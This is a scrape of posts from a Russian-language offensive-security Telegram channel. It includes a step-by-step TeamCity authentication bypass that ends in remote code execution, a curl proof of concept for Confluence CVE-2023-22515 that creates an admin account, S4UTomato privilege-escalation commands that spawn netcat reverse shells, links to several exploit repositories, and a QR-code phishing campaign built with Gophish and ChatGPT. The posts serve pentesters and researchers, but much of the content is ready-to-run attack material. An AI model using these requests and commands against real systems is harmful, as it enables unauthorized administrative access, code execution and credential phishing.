ChatGPT сейчас разве что в котлеты не кладут. В этой статье мы расскажем, как в проекте по социальной инженерии с помощью форка библиотеки для Gophish рассылать QR-коды вместо обычных ссылок, чтобы вытащить сотрудников из защищенного рабочего окружения на личные девайсы. В качестве catchy-сценария рассылки мы рассмотрим «Telegram-бот IT-поддержки с ChatGPT» и на самом деле используем эту нейросеть для генерации кода бота, а также подключим интеграцию с API OpenAI для общения с пользователями.
#xakep #chatgpt
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8❤2
Local Privilege Escalation glibc's ld.so (CVE-2023-4911)
➡️ Исследование
🔥 POC: https://github.com/leesh3288/CVE-2023-4911
#linux #lpe
💬 Канал | 📶 Github
#linux #lpe
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - leesh3288/CVE-2023-4911: PoC for CVE-2023-4911
PoC for CVE-2023-4911. Contribute to leesh3288/CVE-2023-4911 development by creating an account on GitHub.
🔥6
Forwarded from Monkey Hacker
Token that gives me power
Наверно кто-то слышал про новую проблему в JetBrains TeamCity, связанная с
В целом стоит начать, что
Ребята нашли интересный дифф в методе
Отсюда мы имеем следующий сценарий
Получаем токен администратора
С его помощью, мы теперь можем создать пользователя с админскими правами
Но, мы можем пойти дальше и докрутить до RCE. Первым делом включаем дебаг (токен здесь также потребуется)
Не забываем все это применить к текущему конфигу
И теперь мы имеем возможность исполнять команды
Не забываем удалять токен
Наверно кто-то слышал про новую проблему в JetBrains TeamCity, связанная с
RPC2В целом стоит начать, что
TeamCity используется для автоматизированной сборки и тестирования ПО. А он написан на JavaРебята нашли интересный дифф в методе
XmlRpcController.getPathSuffix. Точнее был прикол, связанный с wildcard path. Плюс TeamCity использует фреймворк Spring, а там существует интерцептор, который позволяет модифицировать входящие HTTP-запросы (thx to riven). По этим и другим причинам, любой входящий HTTP-запрос, имеющий путь /**/RPC2, не будет подвергаться проверке аутентификации. А значит мы можем использовать API-ручки для получения токенов почти любых пользователей и для дальнейшего создания собственного юзера. /app/rest/users/<userLocator>/tokens/<tokenName>Отсюда мы имеем следующий сценарий
Получаем токен администратора
POST /app/rest/users/id:1/tokens/RPC2С его помощью, мы теперь можем создать пользователя с админскими правами
POST localhost:8111/app/rest/users -H "Content-Type: application/json" --data "{\"username\": \"monkey1\", \"password\": \"monkey\", \"email\": \"monkey\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.eWaBWGhGSFBZVHB4WvAxNEptVmhQUkkxN0VF.MjhmYTY2MjUtNjZhNy00OTQ0LTk4LmItYzI1N2Q3MjIwMzE2"Но, мы можем пойти дальше и докрутить до RCE. Первым делом включаем дебаг (токен здесь также потребуется)
POST /admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=trueНе забываем все это применить к текущему конфигу
POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.propertiesИ теперь мы имеем возможность исполнять команды
POST /app/rest/debug/processes?exePath=idDELETE /app/rest/users/id:1/tokens/RPC2👍4❤3⚡1🔥1
#ai #chatgpt #offensive
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡5👍3❤1
S4UTomato
#LPE #windows
Инструмент позволяющий выполнить повышение привилегий через Kerberos. Но главное отличие в том, что данный метод, хоть и схож с ранее известными методами privesc из семейства "Potato", но вместо использования COM-интерфейсов, здесь используется расширение S4U для получения билета службы для учетной записи администратора домена на локальной машине. Затем этот билет используется для создания системной службы и получения SYSTEM. Данный инструмент сочетает в себе сразу 3 техники
💻 Github repo
💬 Канал
#LPE #windows
Инструмент позволяющий выполнить повышение привилегий через Kerberos. Но главное отличие в том, что данный метод, хоть и схож с ранее известными методами privesc из семейства "Potato", но вместо использования COM-интерфейсов, здесь используется расширение S4U для получения билета службы для учетной записи администратора домена на локальной машине. Затем этот билет используется для создания системной службы и получения SYSTEM. Данный инструмент сочетает в себе сразу 3 техники
:
1. LEP via Resource-based Constrained Delegation (ссылка)S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"2. LEP via Shadow Credentials + S4U2self (ссылка)
S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f3. LEP via Tgtdeleg + S4U2self (ссылка)
# First retrieve the TGT through Tgtdeleg
S4UTomato.exe tgtdeleg
# Then run SCMUACBypass to obtain SYSTEM privilege
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7
Forwarded from Just Security
This media is not supported in your browser
VIEW IN TELEGRAM
][акер опубликовал призовые кейсы нашей премии Pentest award. Сохраняем их в одном посте, чтобы участникам в следующем году было достаточно референсов:
▪️Пробив периметра. Три райтапа победителя Pentest award в номинации «Пробив».
▪️Взлом Seedr. Райтап — победитель Pentest award в номинации «Пробив».
▪️Нескучные байпасы. Работы — победители Pentest award в номинации «Bypass».
▪️**ck the logic. Три исследования логических багов получившие Pentest award.
▪️LPE на казенном макбуке. Злоупотребляем установкой VS Code для локального повышения привелегий.
▪️ChatGPT на рыбалке. Выманиваем пароль при помощи QR-кода и чат-бота.
Еще раз благодарим всех авторов за качественный контент и смелость. Увидимся на Pentest award 2024 🫡
▪️Пробив периметра. Три райтапа победителя Pentest award в номинации «Пробив».
▪️Взлом Seedr. Райтап — победитель Pentest award в номинации «Пробив».
▪️Нескучные байпасы. Работы — победители Pentest award в номинации «Bypass».
▪️**ck the logic. Три исследования логических багов получившие Pentest award.
▪️LPE на казенном макбуке. Злоупотребляем установкой VS Code для локального повышения привелегий.
▪️ChatGPT на рыбалке. Выманиваем пароль при помощи QR-кода и чат-бота.
Еще раз благодарим всех авторов за качественный контент и смелость. Увидимся на Pentest award 2024 🫡
👍10🫡4🔥2
#bugbounty #pentest #web
Как я и люблю - мы начнем с условных основ и будем двигаться постепенно всё глубже и глубже. Ближе к концу разберём, как эксплуатировать. При написании статьи было использовано много разных источников. К чему это? А к тому, что я начну со слов, которые нашел в статье у Бума - про него будет дальше. Что ж, приятного чтения.
Race condition (состояние гонки) - это ситуация, при которой несколько потоков (или процессов) одновременно пытаются выполнить операции чтения или записи к общим ресурсам без должной синхронизации. Представить можно в формате очереди, один за одним.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10⚡1😎1
Forwarded from APT
🥔 Coerced Potato
New tool for local privilege escalation on a Windows machine, from a service account to NT SYSTEM. Should work on any recent versions of Windows.
⚙️ Tool:
https://github.com/hackvens/CoercedPotato
📝 Research:
https://blog.hackvens.fr/articles/CoercedPotato.html
#windows #lpe #seimpersonateprivilege #potato
New tool for local privilege escalation on a Windows machine, from a service account to NT SYSTEM. Should work on any recent versions of Windows.
⚙️ Tool:
https://github.com/hackvens/CoercedPotato
📝 Research:
https://blog.hackvens.fr/articles/CoercedPotato.html
#windows #lpe #seimpersonateprivilege #potato
🔥7👍2❤1
Forwarded from SHADOW:Group
📝 Немного про шаблоны для BCheck
Решил на днях собрать свою коллекцию шаблонов для BCheck. Если вдруг еще не познакомились с этим функционалом в Burp Suite, то вот неплохая статья, чтобы быстро вкатиться.
И дыбы не выдумывать велосипед, решил посмотреть уже готовые шаблоны в открытом доступе и, к моему счастью, нашелся репозиторий, в котором уже собрана целая подборка.
Бегло прошерстив ее, выделил для себя примерный план того, что нужно написать самостоятельно, а что можно позаимствовать или внести небольшие коррективы.
Например шаблон, для Blind SSRF смотрит только параметры
Ссылка на GitHub
#web #tools #burp
Решил на днях собрать свою коллекцию шаблонов для BCheck. Если вдруг еще не познакомились с этим функционалом в Burp Suite, то вот неплохая статья, чтобы быстро вкатиться.
И дыбы не выдумывать велосипед, решил посмотреть уже готовые шаблоны в открытом доступе и, к моему счастью, нашелся репозиторий, в котором уже собрана целая подборка.
Бегло прошерстив ее, выделил для себя примерный план того, что нужно написать самостоятельно, а что можно позаимствовать или внести небольшие коррективы.
Например шаблон, для Blind SSRF смотрит только параметры
url и proxy. Мы же в свою очередь можем добавить и другие популярные параметры и повысить свои шансы на успех. Или, например, добавить больше проверок в шаблон для crlf. В общем, проявите фантазию и однажды это принесет свои плоды.Ссылка на GitHub
#web #tools #burp
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3❤🔥1
This media is not supported in your browser
VIEW IN TELEGRAM
1-Click RCE on GNOME (CVE-2023-43641)
#RCE #linux #gnome #cve
Сегодня, в сотрудничестве с Ильей Липницким, Лаборатория безопасности GitHub раскрывает CVE-2023-43641, уязвимость memory corruption в libcue. Мы также отправили текстовую версию этой записи в список oss-security list.
🖥 Статья | 🛡 Дневник Безопасника
#RCE #linux #gnome #cve
Сегодня, в сотрудничестве с Ильей Липницким, Лаборатория безопасности GitHub раскрывает CVE-2023-43641, уязвимость memory corruption в libcue. Мы также отправили текстовую версию этой записи в список oss-security list.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🆒1
root with a single command: sudo logrotate
#LPE #linux
Сценарий таков: на совершенно новом сервере Ubuntu 22.04 есть учетная запись, которая для которой прописано:
🔥 Статья | 🛡 Дневник Безопасника
#LPE #linux
Сценарий таков: на совершенно новом сервере Ubuntu 22.04 есть учетная запись, которая для которой прописано:
sudo logrotate *. Сможем ли мы получить root? Короткий ответ: Да. Автор не смог найти в Интернете интересной информации о подобной эксплуатации logrotate, поэтому давайте изучим подробнее.Please open Telegram to view this post
VIEW IN TELEGRAM
👍6
Forwarded from Proxy Bar
CVE-2023-22515
Confluence Data Center and Server - Broken Access Control Vulnerability
POC:
login - adm1n/adm1n
Confluence Data Center and Server - Broken Access Control Vulnerability
POC:
curl -k -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=adm1n&fullName=admin&email=admin@confluence&password=adm1n&confirm=adm1n&setup-next-button=Next" http://confluence/setup/setupadministrator.action login - adm1n/adm1n
❤8👍1
Похек
root with a single command: sudo logrotate #LPE #linux Сценарий таков: на совершенно новом сервере Ubuntu 22.04 есть учетная запись, которая для которой прописано: sudo logrotate *. Сможем ли мы получить root? Короткий ответ: Да. Автор не смог найти в Интернете…
вдогонку Github репа с другим PoC
CVE-2023-22515: Confluence Broken Access Control Exploit
#confluence #cve #BAC
Данный скрипт предназначен для эксплуатации уязвимости CVE-2023-22515 в Confluence, которая позволяет получить несанкционированный доступ к экземплярам Confluence Server и Confluence Data Center. Уязвимость относится к категории Broken Access Control и имеет базовую оценку CVSS 10.0. ⚠️
https://github.com/Chocapikk/CVE-2023-22515
🛡 Дневник Безопасника
CVE-2023-22515: Confluence Broken Access Control Exploit
#confluence #cve #BAC
Данный скрипт предназначен для эксплуатации уязвимости CVE-2023-22515 в Confluence, которая позволяет получить несанкционированный доступ к экземплярам Confluence Server и Confluence Data Center. Уязвимость относится к категории Broken Access Control и имеет базовую оценку CVSS 10.0. ⚠️
https://github.com/Chocapikk/CVE-2023-22515
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - Chocapikk/CVE-2023-22515: CVE-2023-22515: Confluence Broken Access Control Exploit
CVE-2023-22515: Confluence Broken Access Control Exploit - Chocapikk/CVE-2023-22515
❤7🔥2
This media is not supported in your browser
VIEW IN TELEGRAM
bore
#cli #rust
Современный, простой TCP-туннель на языке Rust, который открывает локальные порты для удаленного сервера, обходя стандартные брандмауэры NAT-соединений. Это все, что он делает: не больше и не меньше. По сути тот же duckdns, но без регистрации.
Установка:
💻 Github Repo | 🛡 Дневник Безопасника
#cli #rust
Современный, простой TCP-туннель на языке Rust, который открывает локальные порты для удаленного сервера, обходя стандартные брандмауэры NAT-соединений. Это все, что он делает: не больше и не меньше. По сути тот же duckdns, но без регистрации.
Установка:
cargo install bore-cli
для MacOSbrew install bore-cliИспользование:
bore local 8000 --to bore.pubТакже вы можете использовать его, как сервер, но зачем?... Мы не ради этого собрались тут)
bore server
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡6🔥1
Вчера выступал с докладом в МИРЭА. Спасибо Кибхак, что пригласили меня! В конце презентации был кейс, нужно было предложить самые интересные векторы атак. Ребята, которые предлагали самые интересные способы, я раздал мерч от себя, которые собирал на конференциях. Куча стикеров, мерч Яндекса, Касперский, Bizone, Positive Technologies, Солар и так далее.
Спасибо всем тем, кто пришел послушать нас!)
#МИРЭА #доклад
Спасибо всем тем, кто пришел послушать нас!)
#МИРЭА #доклад
👍27🔥6❤5🆒1